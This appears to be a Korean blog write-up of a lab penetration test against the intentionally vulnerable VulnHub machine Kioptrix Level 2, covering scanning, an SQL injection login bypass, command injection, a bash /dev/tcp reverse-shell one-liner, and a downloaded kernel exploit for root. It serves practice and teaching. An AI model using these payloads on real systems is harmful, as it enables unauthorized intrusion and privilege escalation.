감자 텃밭

[모의해킹] Kioptrix Level2 침투 테스트 본문

Pentest/Pentest

[모의해킹] Kioptrix Level2 침투 테스트

g2h 2021. 12. 9. 23:36

vulnhub에서 제공하는 취약한 시스템인 kioptrix level2를 사용하여, 침투테스트를 실습해보았다.

 

해당 실습에서 가상머신에서 해당 시스템이 NAT가 잡히지 않아 bridge로 실습을 진행하였다.


● 정보 수집 : Nmap
● 취약 스캐닝 : searchsploit
수집 정보
1. OpenPort : 22, 80, 111, 443, 625, 631, 3306
2. Apache 2.0.52 버전 사용
3. Linux Kernel 2.6.9 버전 사용

 


우선 해당 시스템의 네트워크 대역대를 확인했다.

같은 bridge로 잡았으니 해당 칼리(공격자)의 네트워크와 같은 대역대에 존재할것이다.

 

해당 대역대를 nmap을 통해 스캐닝을 시도했다.

추후 편한 확인을 위해 msfconsole에서 db_nmap을 사용했다.

스캐닝이 완료 되었다.

우선 Apache 2.0.52버전을 사용하고 Linux_kunel 2.6.0번대 버전을 사용중이며, 80번 포트가 열려있다.

말고도 여러 정보를 확인 할 수 있다.

services를 통한 결과 확인

우선 80번 포트가 열려있는 걸 확인했으니 주소창을 통해 해당 url로 접속해보았다.

로그인 창이 떳으며, 해당 페이지에서 SQL_Injection이 가능할것이라는 추측을 통해, 시도해보았다.

본인같은 경우는 pw 부분에서 sql_injection을 시도하였으며

id : admin

pw : a'or'1'='1 을 통해 성공했다. id부분에서도 sql_injection이 가능하다.

로그인에 성공하면 위와같이 ping테스트를 할 수 있도록 되어있어

확인해보았다.

정상적으로 명령어가 들어가는 것을 확인할 수 있었다. 

이를 통해 command injection을 사용하면 될 것같다.

command_injection에 성공했다. 우선 서버의 쉘을 획득하기위해

리버스쉘을 통해 쉘을 획득했다.

타겟 시스템에 nc가 설치되어 있지 않은경우

bash shell을 인터렉티브하게 열어야한다 ( -l ) 그 후 해당 열린 쉘을 타겟 시스템에 전송해야한다

bash -l >& /dev/tcp/[target ip]/[target port] 0>&1

을 사용한다.

(위의 사진에는 i이지만 l( 소문자 엘 ) 을 입력해야함)

 

성공적으로 서버(공격대상)에서 해당(클라이어트) 쪽에

리버스 쉘을 붙였다.

이제 권한 상승을 해야한다.

해당 시스템에 취약점을 searchsploit를 사용하여 탐색했다.

 

해당 시스템의 정보를 확인했을 때 linux_kernel 버전이

굉장히 오래된 것을 확인할 수 있었다.

해당 키워드로 serachsploit를 사용해서 exploit을 찾았다.

이중 9542.c 익스플로잇 코드를 쓸것이다.

 그 이유는 2.6.9 버전을 구글링을통해 exploit를 찾은 결과

 

위와같은 정보를 찾을 수 있었다. 그럼이제 서버를 열어 해당 타겟시스템에서 위 파일을 다운받아 실행시켜야한다.

우선 해당 파일을 다운받고,

python3 를 통해 서버를 열었다.

그 후 해당 서버에 접속 후, 해당 파일을 다운받으려 했지만

권한문제로 인해 실패하였다.

이럴 경우 권한에 제한없이 작업이가능한

/tmp 디렉토리에서 작업을 이어갔다.

/tmp 디렉토리로 이동하여, wget으로 해당 파일을 다운받은 후,

gcc 컴파일 후 해당 exploit 파일을 실행시켜

root 권한에 획득하였다.

이로써 해당 시스템에 대한 권한 획득 및 권한상승에 성공하였다.

 

※ 내용이 이상하거나 문제가 있을경우, 또는 설명에 부족한 내용이 있으시면 알려 주시면 감사합니다.